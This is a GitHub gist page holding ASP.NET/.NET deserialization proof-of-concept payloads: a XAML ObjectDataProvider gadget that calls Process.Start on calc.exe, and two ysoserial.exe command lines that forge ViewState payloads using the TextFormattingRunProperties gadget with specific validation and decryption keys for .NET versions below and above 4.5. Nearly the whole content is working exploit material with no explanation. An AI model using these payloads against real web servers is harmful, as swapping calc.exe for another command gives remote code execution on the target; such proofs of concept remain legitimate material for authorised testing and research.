Skip to content

Instantly share code, notes, and snippets.

@exploitio

exploitio/01-Deserialized-Process-Exec.xml

Last active March 30, 2020 18:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save exploitio/5ebce8fd9636408deddc2d9d373bbc04 to your computer and use it in GitHub Desktop.
Save exploitio/5ebce8fd9636408deddc2d9d373bbc04 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
01-Deserialized-Process-Exec.xml
<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system"">
<ObjectDataProvider x:Key="""" ObjectType = ""{ x:Type Diag:Process}"" MethodName = ""Start"" >
<ObjectDataProvider.MethodParameters>
"calc.exe"
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary
Raw
02-LessThan45.bat
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "CALC.exe" --generator=B97B4E27 --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --viewstateuserkey="a8fc50ff-761a-4d9b-8247-83333a134f8d"
Raw
05-gt-45.bat
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "CALC.exe" --generator=B97B4E27 --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --viewstateuserkey="a8fc50ff-761a-4d9b-8247-83333a134f8d" --decryptionalg="3DES" --decryptionkey="E9D2490BD0075B51D1BA5288514514AF" --isencrypted
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment